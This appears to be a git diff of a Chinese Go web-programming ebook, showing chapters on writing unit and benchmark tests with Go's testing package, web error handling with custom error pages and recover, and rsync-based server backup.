Go语言中自带有一个轻量级的测试框架`testing`和自带的`go test`命令来实现单元测试和性能测试,`testing`框架和其他语言中的测试框架类似,你可以基于这个框架写针对相应函数的测试用例,也可以基于该框架写相应的压力测试用例,那么接下来让我们一一来看一下怎么写。
## 如何编写测试用例
由于`go test`命令只能在一个相应的目录下执行所有文件,所以我们接下来新建一个项目目录`gotest`,这样我们所有的代码和测试代码都在这个目录下。
接下来我们在该目录下面创建两个文件gotest.go和gotest_test.go
1. gotest.go:这个文件里面我们是创建了一个包,里面有一个函数实现了除法运算:
package gotest
import (
"errors"
)
func Division(a, b float64) (float64, error) {
if b == 0 {
return 0, errors.New("除数不能为0")
}
return a / b, nil
}
2. gotest_test.go:这是我们的单元测试文件,但是记住下面的这些原则:
- 文件名必须是`_test.go`结尾的,这样在执行`go test`的时候才会执行到相应的代码
- 你必须import `testing`这个包
- 所有的测试用例函数必须是`Test`开头
- 测试用例会按照源代码中写的顺序依次执行
- 测试函数`TestXxx()`的参数是`testing.T`,我们可以使用该类型来记录错误或者是测试状态
- 测试格式:`func TestXxx (t *testing.T)`,`Xxx`部分可以为任意的字母数字的组合,但是首字母不能是小写字母[a-z],例如`Testintdiv`是错误的函数名。
- 函数中通过调用`testing.T``Error`, `Errorf`, `FailNow`, `Fatal`, `FatalIf`方法,说明测试不通过,调用`Log`方法用来记录测试的信息。
下面是我们的测试用例的代码:
package gotest
import (
"testing"
)
func Test_Division_1(t *testing.T) {
if i, e := Division(6, 2); i != 3 || e != nil { //try a unit test on function
t.Error("除法函数测试没通过") // 如果不是如预期的那么就报错
} else {
t.Log("第一个测试通过了") //记录一些你期望记录的信息
}
}
func Test_Division_2(t *testing.T) {
t.Error("就是不通过")
}
我们在项目目录下面执行`go test`,就会显示如下信息:
--- FAIL: Test_Division_2 (0.00 seconds)
gotest_test.go:16: 就是不通过
FAIL
exit status 1
FAIL gotest 0.013s
从这个结果显示测试没有通过,因为在第二个测试函数中我们写死了测试不通过的代码`t.Error`,那么我们的第一个函数执行的情况怎么样呢?默认情况下执行`go test`是不会显示测试通过的信息的,我们需要带上参数`go test -v`,这样就会显示如下信息:
=== RUN Test_Division_1
--- PASS: Test_Division_1 (0.00 seconds)
gotest_test.go:11: 第一个测试通过了
=== RUN Test_Division_2
--- FAIL: Test_Division_2 (0.00 seconds)
gotest_test.go:16: 就是不通过
FAIL
exit status 1
FAIL gotest 0.012s
上面的输出详细的展示了这个测试的过程我们看到测试函数1`Test_Division_1`测试通过而测试函数2`Test_Division_2`测试失败了最后得出结论测试不通过。接下来我们把测试函数2修改成如下代码
func Test_Division_2(t *testing.T) {
if _, e := Division(6, 0); e == nil { //try a unit test on function
t.Error("Division did not work as expected.") // 如果不是如预期的那么就报错
} else {
t.Log("one test passed.", e) //记录一些你期望记录的信息
}
}
然后我们执行`go test -v`,就显示如下信息,测试通过了:
=== RUN Test_Division_1
--- PASS: Test_Division_1 (0.00 seconds)
gotest_test.go:11: 第一个测试通过了
=== RUN Test_Division_2
--- PASS: Test_Division_2 (0.00 seconds)
gotest_test.go:20: one test passed. 除数不能为0
PASS
ok gotest 0.013s
## 如何编写压力测试
压力测试用来检测函数(方法)的性能,和编写单元功能测试的方法类似,此处不再赘述,但需要注意以下几点:
- 压力测试用例必须遵循如下格式其中XXX可以是任意字母数字的组合但是首字母不能是小写字母
func BenchmarkXXX(b *testing.B) { ... }
- `go test`不会默认执行压力测试的函数,如果要执行压力测试需要带上参数`-test.bench`,语法:`-test.bench="test_name_regex"`,例如`go test -test.bench=".*"`表示测试全部的压力测试函数
- 在压力测试用例中,请记得在循环体内使用`testing.B.N`,以使测试可以正常的运行
- 文件名也必须以`_test.go`结尾
下面我们新建一个压力测试文件webbench_test.go代码如下所示
package gotest
import (
"testing"
)
func Benchmark_Division(b *testing.B) {
for i := 0; i < b.N; i++ { //use b.N for looping
Division(4, 5)
}
}
func Benchmark_TimeConsumingFunction(b *testing.B) {
b.StopTimer() //调用该函数停止压力测试的时间计数
//做一些初始化的工作,例如读取文件数据,数据库连接之类的,
//这样这些时间不影响我们测试函数本身的性能
b.StartTimer() //重新开始时间
for i := 0; i < b.N; i++ {
Division(4, 5)
}
}
我们执行命令`go test -file webbench_test.go -test.bench=".*"`,可以看到如下结果:
PASS
Benchmark_Division 500000000 7.76 ns/op
Benchmark_TimeConsumingFunction 500000000 7.80 ns/op
ok gotest 9.364s
上面的结果显示我们没有执行任何`TestXXX`的单元测试函数,显示的结果只执行了压力测试函数,第一条显示了`Benchmark_Division`执行了500000000次每次的执行平均时间是7.76纳秒,第二条显示了`Benchmark_TimeConsumingFunction`执行了500000000每次的平均执行时间是7.80纳秒。最后一条显示总共的执行时间。
## 小结
通过上面对单元测试和压力测试的学习,我们可以看到`testing`包很轻量,编写单元测试和压力测试用例非常简单,配合内置的`go test`命令就可以非常方便的进行测试,这样在我们每次修改完代码,执行一下go test就可以简单的完成回归测试了。
## links
* [目录](<preface.md>)
* 上一节: [使用GDB调试](<11.2.md>)
# 11.3 Go怎么写测试用例
开发程序其中很重要的一点是测试我们如何保证代码的质量如何保证每个函数是可运行运行结果是正确的又如何保证写出来的代码性能是好的我们知道单元测试的重点在于发现程序设计或实现的逻辑错误使问题及早暴露便于问题的定位解决而性能测试的重点在于发现程序设计上的一些问题让线上的程序能够在高并发的情况下还能保持稳定。本小节将带着这一连串的问题来讲解Go语言中如何来实现单元测试和性能测试。
Go语言中自带有一个轻量级的测试框架`testing`和自带的`go test`命令来实现单元测试和性能测试,`testing`框架和其他语言中的测试框架类似,你可以基于这个框架写针对相应函数的测试用例,也可以基于该框架写相应的压力测试用例,那么接下来让我们一一来看一下怎么写。
## 如何编写测试用例
由于`go test`命令只能在一个相应的目录下执行所有文件,所以我们接下来新建一个项目目录`gotest`,这样我们所有的代码和测试代码都在这个目录下。
接下来我们在该目录下面创建两个文件gotest.go和gotest_test.go
1. gotest.go:这个文件里面我们是创建了一个包,里面有一个函数实现了除法运算:
package gotest
import (
"errors"
)
func Division(a, b float64) (float64, error) {
if b == 0 {
return 0, errors.New("除数不能为0")
}
return a / b, nil
}
2. gotest_test.go:这是我们的单元测试文件,但是记住下面的这些原则:
- 文件名必须是`_test.go`结尾的,这样在执行`go test`的时候才会执行到相应的代码
- 你必须import `testing`这个包
- 所有的测试用例函数必须是`Test`开头
- 测试用例会按照源代码中写的顺序依次执行
- 测试函数`TestXxx()`的参数是`testing.T`,我们可以使用该类型来记录错误或者是测试状态
- 测试格式:`func TestXxx (t *testing.T)`,`Xxx`部分可以为任意的字母数字的组合,但是首字母不能是小写字母[a-z],例如`Testintdiv`是错误的函数名。
- 函数中通过调用`testing.T``Error`, `Errorf`, `FailNow`, `Fatal`, `FatalIf`方法,说明测试不通过,调用`Log`方法用来记录测试的信息。
下面是我们的测试用例的代码:
package gotest
import (
"testing"
)
func Test_Division_1(t *testing.T) {
if i, e := Division(6, 2); i != 3 || e != nil { //try a unit test on function
t.Error("除法函数测试没通过") // 如果不是如预期的那么就报错
} else {
t.Log("第一个测试通过了") //记录一些你期望记录的信息
}
}
func Test_Division_2(t *testing.T) {
t.Error("就是不通过")
}
我们在项目目录下面执行`go test`,就会显示如下信息:
--- FAIL: Test_Division_2 (0.00 seconds)
gotest_test.go:16: 就是不通过
FAIL
exit status 1
FAIL gotest 0.013s
从这个结果显示测试没有通过,因为在第二个测试函数中我们写死了测试不通过的代码`t.Error`,那么我们的第一个函数执行的情况怎么样呢?默认情况下执行`go test`是不会显示测试通过的信息的,我们需要带上参数`go test -v`,这样就会显示如下信息:
=== RUN Test_Division_1
--- PASS: Test_Division_1 (0.00 seconds)
gotest_test.go:11: 第一个测试通过了
=== RUN Test_Division_2
--- FAIL: Test_Division_2 (0.00 seconds)
gotest_test.go:16: 就是不通过
FAIL
exit status 1
FAIL gotest 0.012s
上面的输出详细的展示了这个测试的过程我们看到测试函数1`Test_Division_1`测试通过而测试函数2`Test_Division_2`测试失败了最后得出结论测试不通过。接下来我们把测试函数2修改成如下代码
func Test_Division_2(t *testing.T) {
if _, e := Division(6, 0); e == nil { //try a unit test on function
t.Error("Division did not work as expected.") // 如果不是如预期的那么就报错
} else {
t.Log("one test passed.", e) //记录一些你期望记录的信息
}
}
然后我们执行`go test -v`,就显示如下信息,测试通过了:
=== RUN Test_Division_1
--- PASS: Test_Division_1 (0.00 seconds)
gotest_test.go:11: 第一个测试通过了
=== RUN Test_Division_2
--- PASS: Test_Division_2 (0.00 seconds)
gotest_test.go:20: one test passed. 除数不能为0
PASS
ok gotest 0.013s
## 如何编写压力测试
压力测试用来检测函数(方法)的性能,和编写单元功能测试的方法类似,此处不再赘述,但需要注意以下几点:
- 压力测试用例必须遵循如下格式其中XXX可以是任意字母数字的组合但是首字母不能是小写字母
func BenchmarkXXX(b *testing.B) { ... }
- `go test`不会默认执行压力测试的函数,如果要执行压力测试需要带上参数`-test.bench`,语法:`-test.bench="test_name_regex"`,例如`go test -test.bench=".*"`表示测试全部的压力测试函数
- 在压力测试用例中,请记得在循环体内使用`testing.B.N`,以使测试可以正常的运行
- 文件名也必须以`_test.go`结尾
下面我们新建一个压力测试文件webbench_test.go代码如下所示
package gotest
import (
"testing"
)
func Benchmark_Division(b *testing.B) {
for i := 0; i < b.N; i++ { //use b.N for looping
Division(4, 5)
}
}
func Benchmark_TimeConsumingFunction(b *testing.B) {
b.StopTimer() //调用该函数停止压力测试的时间计数
//做一些初始化的工作,例如读取文件数据,数据库连接之类的,
//这样这些时间不影响我们测试函数本身的性能
b.StartTimer() //重新开始时间
for i := 0; i < b.N; i++ {
Division(4, 5)
}
}
我们执行命令`go test -file webbench_test.go -test.bench=".*"`,可以看到如下结果:
PASS
Benchmark_Division 500000000 7.76 ns/op
Benchmark_TimeConsumingFunction 500000000 7.80 ns/op
ok gotest 9.364s
上面的结果显示我们没有执行任何`TestXXX`的单元测试函数,显示的结果只执行了压力测试函数,第一条显示了`Benchmark_Division`执行了500000000次每次的执行平均时间是7.76纳秒,第二条显示了`Benchmark_TimeConsumingFunction`执行了500000000每次的平均执行时间是7.80纳秒。最后一条显示总共的执行时间。
## 小结
通过上面对单元测试和压力测试的学习,我们可以看到`testing`包很轻量,编写单元测试和压力测试用例非常简单,配合内置的`go test`命令就可以非常方便的进行测试,这样在我们每次修改完代码,执行一下go test就可以简单的完成回归测试了。
## links
* [目录](<preface.md>)
* 上一节: [使用GDB调试](<11.2.md>)
* 下一节: [小结](<11.4.md>)

12
11.4.md → ebook/11.4.md Executable file → Normal file
View File

@@ -1,7 +1,7 @@
# 11.4 小结
本章我们通过三个小节分别介绍了Go语言中如何处理错误如何设计错误处理然后第二小节介绍了如何通过GDB来调试程序通过GDB我们可以单步调试、可以查看变量、修改变量、打印执行过程等最后我们介绍了如何利用Go语言自带的轻量级框架`testing`来编写单元测试和压力测试,使用`go test`就可以方便的执行这些测试使得我们将来代码升级修改之后很方便的进行回归测试。这一章也许对于你编写程序逻辑没有任何帮助但是对于你编写出来的程序代码保持高质量是至关重要的因为一个好的Web应用必定有良好的错误处理机制(错误提示的友好、可扩展性)、有好的单元测试和压力测试以保证上线之后代码能够保持良好的性能和按预期的运行。
## links
* [目录](<preface.md>)
* 上一节: [Go怎么写测试用例](<11.3.md>)
# 11.4 小结
本章我们通过三个小节分别介绍了Go语言中如何处理错误如何设计错误处理然后第二小节介绍了如何通过GDB来调试程序通过GDB我们可以单步调试、可以查看变量、修改变量、打印执行过程等最后我们介绍了如何利用Go语言自带的轻量级框架`testing`来编写单元测试和压力测试,使用`go test`就可以方便的执行这些测试使得我们将来代码升级修改之后很方便的进行回归测试。这一章也许对于你编写程序逻辑没有任何帮助但是对于你编写出来的程序代码保持高质量是至关重要的因为一个好的Web应用必定有良好的错误处理机制(错误提示的友好、可扩展性)、有好的单元测试和压力测试以保证上线之后代码能够保持良好的性能和按预期的运行。
## links
* [目录](<preface.md>)
* 上一节: [Go怎么写测试用例](<11.3.md>)
* 下一节: [部署与维护](<12.0.md>)

20
12.0.md → ebook/12.0.md Executable file → Normal file
View File

@@ -1,11 +1,11 @@
# 12 部署与维护
到目前为止我们前面已经介绍了如何开发程序、调试程序以及测试程序正如人们常说的开发最后的10%需要花费90%的时间所以这一章我们将强调这最后的10%部分要真正成为让人信任并使用的优秀应用需要考虑到一些细节以上所说的10%就是指这些小细节。
本章我们将通过四个小节来介绍这些小细节的处理第一小节介绍如何在生产服务上记录程序产生的日志如何记录日志第二小节介绍发生错误时我们的程序如何处理如何保证尽量少的影响到用户的访问第三小节介绍如何来部署Go的独立程序由于目前Go程序还无法像C那样写成daemon那么我们如何管理这样的进程程序后台运行呢第四小节将介绍应用数据的备份和恢复尽量保证应用在崩溃的情况能够保持数据的完整性。
## 目录
![](images/navi12.png?raw=true)
## links
* [目录](<preface.md>)
* 上一章: [第十一章总结](<11.4.md>)
# 12 部署与维护
到目前为止我们前面已经介绍了如何开发程序、调试程序以及测试程序正如人们常说的开发最后的10%需要花费90%的时间所以这一章我们将强调这最后的10%部分要真正成为让人信任并使用的优秀应用需要考虑到一些细节以上所说的10%就是指这些小细节。
本章我们将通过四个小节来介绍这些小细节的处理第一小节介绍如何在生产服务上记录程序产生的日志如何记录日志第二小节介绍发生错误时我们的程序如何处理如何保证尽量少的影响到用户的访问第三小节介绍如何来部署Go的独立程序由于目前Go程序还无法像C那样写成daemon那么我们如何管理这样的进程程序后台运行呢第四小节将介绍应用数据的备份和恢复尽量保证应用在崩溃的情况能够保持数据的完整性。
## 目录
![](images/navi12.png?raw=true)
## links
* [目录](<preface.md>)
* 上一章: [第十一章总结](<11.4.md>)
* 下一节: [应用日志](<12.1.md>)

0
12.1.md → ebook/12.1.md Executable file → Normal file
View File

248
12.2.md → ebook/12.2.md Executable file → Normal file
View File

@@ -1,124 +1,124 @@
# 12.2 网站错误处理
我们的Web应用一旦上线之后那么各种错误出现的概率都有Web应用日常运行中可能出现多种错误具体如下所示
- 数据库错误:指与访问数据库服务器或数据相关的错误。例如,以下可能出现的一些数据库错误。
- 连接错误:这一类错误可能是数据库服务器网络断开、用户名密码不正确、或者数据库不存在。
- 查询错误使用的SQL非法导致错误这样子SQL错误如果程序经过严格的测试应该可以避免。
- 数据错误:数据库中的约束冲突,例如一个唯一字段中插入一条重复主键的值就会报错,但是如果你的应用程序在上线之前经过了严格的测试也是可以避免这类问题。
- 应用运行时错误:这类错误范围很广,涵盖了代码中出现的几乎所有错误。可能的应用错误的情况如下:
- 文件系统和权限应用读取不存在的文件或者读取没有权限的文件、或者写入一个不允许写入的文件这些都会导致一个错误。应用读取的文件如果格式不正确也会报错例如配置文件应该是ini的配置格式而设置成了json格式就会报错。
- 第三方应用:如果我们的应用程序耦合了其他第三方接口程序,例如应用程序发表文章之后自动调用接发微博的接口,所以这个接口必须正常运行才能完成我们发表一篇文章的功能。
- HTTP错误这些错误是根据用户的请求出现的错误最常见的就是404错误。虽然可能会出现很多不同的错误但其中比较常见的错误还有401未授权错误(需要认证才能访问的资源)、403禁止错误(不允许用户访问的资源)和503错误(程序内部出错)。
- 操作系统出错:这类错误都是由于应用程序上的操作系统出现错误引起的,主要有操作系统的资源被分配完了,导致死机,还有操作系统的磁盘满了,导致无法写入,这样就会引起很多错误。
- 网络出错:指两方面的错误,一方面是用户请求应用程序的时候出现网络断开,这样就导致连接中断,这种错误不会造成应用程序的崩溃,但是会影响用户访问的效果;另一方面是应用程序读取其他网络上的数据,其他网络断开会导致读取失败,这种需要对应用程序做有效的测试,能够避免这类问题出现的情况下程序崩溃。
## 错误处理的目标
在实现错误处理之前,我们必须明确错误处理想要达到的目标是什么,错误处理系统应该完成以下工作:
- 通知访问用户出现错误了不论出现的是一个系统错误还是用户错误用户都应当知道Web应用出了问题用户的这次请求无法正确的完成了。例如对于用户的错误请求我们显示一个统一的错误页面(404.html)。出现系统错误时,我们通过自定义的错误页面显示系统暂时不可用之类的错误页面(error.html)。
- 记录错误系统出现错误一般就是我们调用函数的时候返回err不为nil的情况可以使用前面小节介绍的日志系统记录到日志文件。如果是一些致命错误则通过邮件通知系统管理员。一般404之类的错误不需要发送邮件只需要记录到日志系统。
- 回滚当前的请求操作:如果一个用户请求过程中出现了一个服务器错误,那么已完成的操作需要回滚。下面来看一个例子:一个系统将用户递交的表单保存到数据库,并将这个数据递交到一个第三方服务器,但是第三方服务器挂了,这就导致一个错误,那么先前存储到数据库的表单数据应该删除(应告知无效),而且应该通知用户系统出现错误了。
- 保证现有程序可运行可服务:我们知道没有人能保证程序一定能够一直正常的运行着,万一哪一天程序崩溃了,那么我们就需要记录错误,然后立刻让程序重新运行起来,让程序继续提供服务,然后再通知系统管理员,通过日志等找出问题。
## 如何处理错误
错误处理其实我们已经在十一章第一小节里面有过介绍如何设计错误处理,这里我们再从一个例子详细的讲解一下,如何来处理不同的错误:
- 通知用户出现错误:
通知用户在访问页面的时候我们可以有两种错误404.html和error.html下面分别显示了错误页面的源码
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>找不到页面</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<body>
<div class="container">
<div class="row">
<div class="span10">
<div class="hero-unit">
<h1>404!</h1>
<p>{{.ErrorInfo}}</p>
</div>
</div><!--/span-->
</div>
</div>
</body>
</html>
另一个源码:
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>系统错误页面</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<body>
<div class="container">
<div class="row">
<div class="span10">
<div class="hero-unit">
<h1>系统暂时不可用!</h1>
<p>{{.ErrorInfo}}</p>
</div>
</div><!--/span-->
</div>
</div>
</body>
</html>
404的错误处理逻辑如果是系统的错误也是类似的操作同时我们看到在
func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) {
if r.URL.Path == "/" {
sayhelloName(w, r)
return
}
NotFound404(w, r)
return
}
func NotFound404(w http.ResponseWriter, r *http.Request) {
log.Error("页面找不到") //记录错误日志
t, _ = t.ParseFiles("tmpl/404.html", nil) //解析模板文件
ErrorInfo := "文件找不到" //获取当前用户信息
t.Execute(w, ErrorInfo) //执行模板的merger操作
}
func SystemError(w http.ResponseWriter, r *http.Request) {
log.Critical("系统错误") //系统错误触发了Critical那么不仅会记录日志还会发送邮件
t, _ = t.ParseFiles("tmpl/error.html", nil) //解析模板文件
ErrorInfo := "系统暂时不可用" //获取当前用户信息
t.Execute(w, ErrorInfo) //执行模板的merger操作
}
## 如何处理异常
我们知道在很多其他语言中有try...catch关键词用来捕获异常情况但是其实很多错误都是可以预期发生的而不需要异常处理应该当做错误来处理这也是为什么Go语言采用了函数返回错误的设计这些函数不会panic例如如果一个文件找不到os.Open返回一个错误它不会panic如果你向一个中断的网络连接写数据net.Conn系列类型的Write函数返回一个错误它们不会panic。这些状态在这样的程序里都是可以预期的。你知道这些操作可能会失败因为设计者已经用返回错误清楚地表明了这一点。这就是上面所讲的可以预期发生的错误。
但是还有一种情况有一些操作几乎不可能失败而且在一些特定的情况下也没有办法返回错误也无法继续执行这样情况就应该panic。举个例子如果一个程序计算x[j]但是j越界了这部分代码就会导致panic像这样的一个不可预期严重错误就会引起panic在默认情况下它会杀掉进程它允许一个正在运行这部分代码的goroutine从发生错误的panic中恢复运行发生panic之后这部分代码后面的函数和代码都不会继续执行这是Go特意这样设计的因为要区别于错误和异常panic其实就是异常处理。如下代码我们期望通过uid来获取User中的username信息但是如果uid越界了就会抛出异常这个时候如果我们没有recover机制进程就会被杀死从而导致程序不可服务。因此为了程序的健壮性在一些地方需要建立recover机制。
func GetUser(uid int) (username string) {
defer func() {
if x := recover(); x != nil {
username = ""
}
}()
username = User[uid]
return
}
上面介绍了错误和异常的区别那么我们在开发程序的时候如何来设计呢规则很简单如果你定义的函数有可能失败它就应该返回一个错误。当我调用其他package的函数时如果这个函数实现的很好我不需要担心它会panic除非有真正的异常情况发生即使那样也不应该是我去处理它。而panic和recover是针对自己开发package里面实现的逻辑针对一些特殊情况来设计。
## 小结
本小节总结了当我们的Web应用部署之后如何处理各种错误网络错误、数据库错误、操作系统错误等当错误发生时我们的程序如何来正确处理显示友好的出错界面、回滚操作、记录日志、通知管理员等操作最后介绍了如何来正确处理错误和异常。一般的程序中错误和异常很容易混淆的但是在Go中错误和异常是有明显的区分所以告诉我们在程序设计中处理错误和异常应该遵循怎么样的原则。
## links
* [目录](<preface.md>)
* 上一章: [应用日志](<12.1.md>)
* 下一节: [应用部署](<12.3.md>)
# 12.2 网站错误处理
我们的Web应用一旦上线之后那么各种错误出现的概率都有Web应用日常运行中可能出现多种错误具体如下所示
- 数据库错误:指与访问数据库服务器或数据相关的错误。例如,以下可能出现的一些数据库错误。
- 连接错误:这一类错误可能是数据库服务器网络断开、用户名密码不正确、或者数据库不存在。
- 查询错误使用的SQL非法导致错误这样子SQL错误如果程序经过严格的测试应该可以避免。
- 数据错误:数据库中的约束冲突,例如一个唯一字段中插入一条重复主键的值就会报错,但是如果你的应用程序在上线之前经过了严格的测试也是可以避免这类问题。
- 应用运行时错误:这类错误范围很广,涵盖了代码中出现的几乎所有错误。可能的应用错误的情况如下:
- 文件系统和权限应用读取不存在的文件或者读取没有权限的文件、或者写入一个不允许写入的文件这些都会导致一个错误。应用读取的文件如果格式不正确也会报错例如配置文件应该是ini的配置格式而设置成了json格式就会报错。
- 第三方应用:如果我们的应用程序耦合了其他第三方接口程序,例如应用程序发表文章之后自动调用接发微博的接口,所以这个接口必须正常运行才能完成我们发表一篇文章的功能。
- HTTP错误这些错误是根据用户的请求出现的错误最常见的就是404错误。虽然可能会出现很多不同的错误但其中比较常见的错误还有401未授权错误(需要认证才能访问的资源)、403禁止错误(不允许用户访问的资源)和503错误(程序内部出错)。
- 操作系统出错:这类错误都是由于应用程序上的操作系统出现错误引起的,主要有操作系统的资源被分配完了,导致死机,还有操作系统的磁盘满了,导致无法写入,这样就会引起很多错误。
- 网络出错:指两方面的错误,一方面是用户请求应用程序的时候出现网络断开,这样就导致连接中断,这种错误不会造成应用程序的崩溃,但是会影响用户访问的效果;另一方面是应用程序读取其他网络上的数据,其他网络断开会导致读取失败,这种需要对应用程序做有效的测试,能够避免这类问题出现的情况下程序崩溃。
## 错误处理的目标
在实现错误处理之前,我们必须明确错误处理想要达到的目标是什么,错误处理系统应该完成以下工作:
- 通知访问用户出现错误了不论出现的是一个系统错误还是用户错误用户都应当知道Web应用出了问题用户的这次请求无法正确的完成了。例如对于用户的错误请求我们显示一个统一的错误页面(404.html)。出现系统错误时,我们通过自定义的错误页面显示系统暂时不可用之类的错误页面(error.html)。
- 记录错误系统出现错误一般就是我们调用函数的时候返回err不为nil的情况可以使用前面小节介绍的日志系统记录到日志文件。如果是一些致命错误则通过邮件通知系统管理员。一般404之类的错误不需要发送邮件只需要记录到日志系统。
- 回滚当前的请求操作:如果一个用户请求过程中出现了一个服务器错误,那么已完成的操作需要回滚。下面来看一个例子:一个系统将用户递交的表单保存到数据库,并将这个数据递交到一个第三方服务器,但是第三方服务器挂了,这就导致一个错误,那么先前存储到数据库的表单数据应该删除(应告知无效),而且应该通知用户系统出现错误了。
- 保证现有程序可运行可服务:我们知道没有人能保证程序一定能够一直正常的运行着,万一哪一天程序崩溃了,那么我们就需要记录错误,然后立刻让程序重新运行起来,让程序继续提供服务,然后再通知系统管理员,通过日志等找出问题。
## 如何处理错误
错误处理其实我们已经在十一章第一小节里面有过介绍如何设计错误处理,这里我们再从一个例子详细的讲解一下,如何来处理不同的错误:
- 通知用户出现错误:
通知用户在访问页面的时候我们可以有两种错误404.html和error.html下面分别显示了错误页面的源码
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>找不到页面</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<body>
<div class="container">
<div class="row">
<div class="span10">
<div class="hero-unit">
<h1>404!</h1>
<p>{{.ErrorInfo}}</p>
</div>
</div><!--/span-->
</div>
</div>
</body>
</html>
另一个源码:
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>系统错误页面</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<body>
<div class="container">
<div class="row">
<div class="span10">
<div class="hero-unit">
<h1>系统暂时不可用!</h1>
<p>{{.ErrorInfo}}</p>
</div>
</div><!--/span-->
</div>
</div>
</body>
</html>
404的错误处理逻辑如果是系统的错误也是类似的操作同时我们看到在
func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) {
if r.URL.Path == "/" {
sayhelloName(w, r)
return
}
NotFound404(w, r)
return
}
func NotFound404(w http.ResponseWriter, r *http.Request) {
log.Error("页面找不到") //记录错误日志
t, _ = t.ParseFiles("tmpl/404.html", nil) //解析模板文件
ErrorInfo := "文件找不到" //获取当前用户信息
t.Execute(w, ErrorInfo) //执行模板的merger操作
}
func SystemError(w http.ResponseWriter, r *http.Request) {
log.Critical("系统错误") //系统错误触发了Critical那么不仅会记录日志还会发送邮件
t, _ = t.ParseFiles("tmpl/error.html", nil) //解析模板文件
ErrorInfo := "系统暂时不可用" //获取当前用户信息
t.Execute(w, ErrorInfo) //执行模板的merger操作
}
## 如何处理异常
我们知道在很多其他语言中有try...catch关键词用来捕获异常情况但是其实很多错误都是可以预期发生的而不需要异常处理应该当做错误来处理这也是为什么Go语言采用了函数返回错误的设计这些函数不会panic例如如果一个文件找不到os.Open返回一个错误它不会panic如果你向一个中断的网络连接写数据net.Conn系列类型的Write函数返回一个错误它们不会panic。这些状态在这样的程序里都是可以预期的。你知道这些操作可能会失败因为设计者已经用返回错误清楚地表明了这一点。这就是上面所讲的可以预期发生的错误。
但是还有一种情况有一些操作几乎不可能失败而且在一些特定的情况下也没有办法返回错误也无法继续执行这样情况就应该panic。举个例子如果一个程序计算x[j]但是j越界了这部分代码就会导致panic像这样的一个不可预期严重错误就会引起panic在默认情况下它会杀掉进程它允许一个正在运行这部分代码的goroutine从发生错误的panic中恢复运行发生panic之后这部分代码后面的函数和代码都不会继续执行这是Go特意这样设计的因为要区别于错误和异常panic其实就是异常处理。如下代码我们期望通过uid来获取User中的username信息但是如果uid越界了就会抛出异常这个时候如果我们没有recover机制进程就会被杀死从而导致程序不可服务。因此为了程序的健壮性在一些地方需要建立recover机制。
func GetUser(uid int) (username string) {
defer func() {
if x := recover(); x != nil {
username = ""
}
}()
username = User[uid]
return
}
上面介绍了错误和异常的区别那么我们在开发程序的时候如何来设计呢规则很简单如果你定义的函数有可能失败它就应该返回一个错误。当我调用其他package的函数时如果这个函数实现的很好我不需要担心它会panic除非有真正的异常情况发生即使那样也不应该是我去处理它。而panic和recover是针对自己开发package里面实现的逻辑针对一些特殊情况来设计。
## 小结
本小节总结了当我们的Web应用部署之后如何处理各种错误网络错误、数据库错误、操作系统错误等当错误发生时我们的程序如何来正确处理显示友好的出错界面、回滚操作、记录日志、通知管理员等操作最后介绍了如何来正确处理错误和异常。一般的程序中错误和异常很容易混淆的但是在Go中错误和异常是有明显的区分所以告诉我们在程序设计中处理错误和异常应该遵循怎么样的原则。
## links
* [目录](<preface.md>)
* 上一章: [应用日志](<12.1.md>)
* 下一节: [应用部署](<12.3.md>)

0
12.3.md → ebook/12.3.md Executable file → Normal file
View File

348
12.4.md → ebook/12.4.md Executable file → Normal file
View File

@@ -1,174 +1,174 @@
# 12.4 备份和恢复
这小节我们要讨论应用程序管理的另一个方面:生产服务器上数据的备份和恢复。我们经常会遇到生产服务器的网络断了、硬盘坏了、操作系统崩溃、或者数据库不可用了等各种异常情况,所以维护人员需要对生产服务器上的应用和数据做好异地灾备,冷备热备的准备。在接下来的介绍中,讲解了如何备份应用、如何备份/恢复Mysql数据库和redis数据库。
## 应用备份
在大多数集群环境下Web应用程序基本不需要备份因为这个其实就是一个代码副本我们在本地开发环境中或者版本控制系统中已经保持这些代码。但是很多时候一些开发的站点需要用户来上传文件那么我们需要对这些用户上传的文件进行备份。目前其实有一种合适的做法就是把和网站相关的需要存储的文件存储到云储存这样即使系统崩溃只要我们的文件还在云存储上至少数据不会丢失。
如果我们没有采用云储存的情况下如何做到网站的备份呢这里我们介绍一个文件同步工具rsyncrsync能够实现网站的备份不同系统的文件的同步如果是windows的话需要windows版本cwrsync。
### rsync安装
rysnc的官方网站http://rsync.samba.org/ 可以从上面获取最新版本的源码。当然因为rsync是一款非常有用的软件所以很多Linux的发行版本都将它收录在内了。
软件包安装
# sudo apt-get install rsync 注在debian、ubuntu 等在线安装方法;
# yum install rsync 注Fedora、Redhat、CentOS 等在线安装方法;
# rpm -ivh rsync 注Fedora、Redhat、CentOS 等rpm包安装方法
其它Linux发行版请用相应的软件包管理方法来安装。源码包安装
tar xvf rsync-xxx.tar.gz
cd rsync-xxx
./configure --prefix=/usr ;make ;make install 注在用源码包编译安装之前您得安装gcc等编译工具才行
### rsync配置
rsync主要有以下三个配置文件rsyncd.conf(主配置文件)、rsyncd.secrets(密码文件)、rsyncd.motd(rysnc服务器信息)。
关于这几个文件的配置大家可以参考官方网站或者其他介绍rsync的网站下面介绍服务器端和客户端如何开启
- 服务端开启:
#/usr/bin/rsync --daemon --config=/etc/rsyncd/rsyncd.conf
--daemon参数方式是让rsync以服务器模式运行。把rsync加入开机启动
echo 'rsync --daemon' >> /etc/rc.d/rc.local
设置rsync密码
echo '你的用户名:你的密码' > /etc/rsyncd.secrets
chmod 600 /etc/rsyncd.secrets
- 客户端同步:
客户端可以通过如下命令同步服务器上的文件:
rsync -avzP --delete --password-file=rsyncd.secrets 用户名@192.168.145.5::www /var/rsync/backup
这条命令,简要的说明一下几个要点:
1. -avzP是啥读者可以使用--help查看
2. --delete 是为了比如A上删除了一个文件同步的时候B会自动删除相对应的文件
